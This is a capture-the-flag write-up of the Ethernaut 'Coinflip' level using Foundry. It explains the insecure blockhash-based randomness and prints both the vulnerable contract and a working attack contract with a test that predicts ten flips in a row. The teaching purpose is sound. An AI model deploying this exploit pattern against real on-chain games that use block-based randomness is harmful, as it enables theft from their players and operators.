Ethereum x Foundry - 0x3 Coinflip

Ethereum x Foundry - 0x3 Coinflip

·

3 min read

Overview

This level introduces us to the following concept(s):

  • The problem of randomness in Solidity
  • Deploying attack contracts and Interfaces

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry

Objective

To complete the challenge, we will need to:

  • Predict the outcome of a 50/50 coin flip game, 10 times in a row!

Contract Analysis

The entire game's logic is contained in the flip() function. Calling the function will perform the following actions:

  1. Generate a pseudo-random number by using the hash of the previous block via blockhash(block.number - 1).
  2. Verify that the same number isn't encountered twice, i.e: lastHash == blockValue will revert().
  3. Simulate a coin flip by computing a result using our pseudo-random number.
  4. Increase the consecutive win counter if the player's guess and previous result are equal.
contract Coinflip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

The vulnerability in this contract is trusting an insecure PRNG (pseudo-random number generator) for game logic.

It is insecure simply in the fact that is not truly random:

  1. Block miners control the blockhash as they can throw out a block if the game outcome is not the right one.
  2. Anyone who reads the contract has access to the variables used to compute the game's winning condition (e.g: FACTOR in this case).

In fact, any PRNG using block data as a source of entropy is insecure.

Blockchains are deterministic by nature, generating a verifiable secure random number requires off chain computation assisted by oracles.

💡 Recommended reads:

Attacking The Contract

Make sure to read through Part 0 for setup instructions.

This time we will need to deploy an additional contract CoinFlipAttack.sol which will call the flip() function of the main game contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10; // Latest solidity version

import "./Coinflip.sol";

interface ICoinflip {
    function flip(bool _guess) external returns (bool);
}

contract CoinflipAttack {
    ICoinflip public target; // vulnerable smart contract
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address targetAddress) {
        target = ICoinflip(targetAddress);
    }

    function attack() external {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side); // we only send the right guess to the original contract, netting us the 10 consecutive wins
    }
}

Next up, create the Coinflip.t.sol test file in the test/ directory that will contain the attack logic (level setup and submission is truncated for clarity):

function testCoinFlipHack() public {
    CoinflipAttack attackContract = new CoinflipAttack(levelAddress);
    uint256 BLOCK_START = 100;
    vm.roll(BLOCK_START); // cheatcode to prevent block 0 from giving us arithmetic error

    for (uint256 i = BLOCK_START; i < BLOCK_START + 10; i++) {
        vm.roll(i + 1); // cheatcode to simulate running the attack on each subsequent block
        attackContract.attack();
    }

    assertEq(coinflipContract.consecutiveWins(), 10)
}

The vm.roll() function is provided by our test library and allows us to adjust the block number in our test environment.

By controlling the block number and knowing how to compute the game-winning state, we can use our attack contract to send the right answer as many times as we want.

NB: the attack would still be possible on mainnet, although requiring more efforts to control the block number

Run the attack using the forge test subcommand:

image.png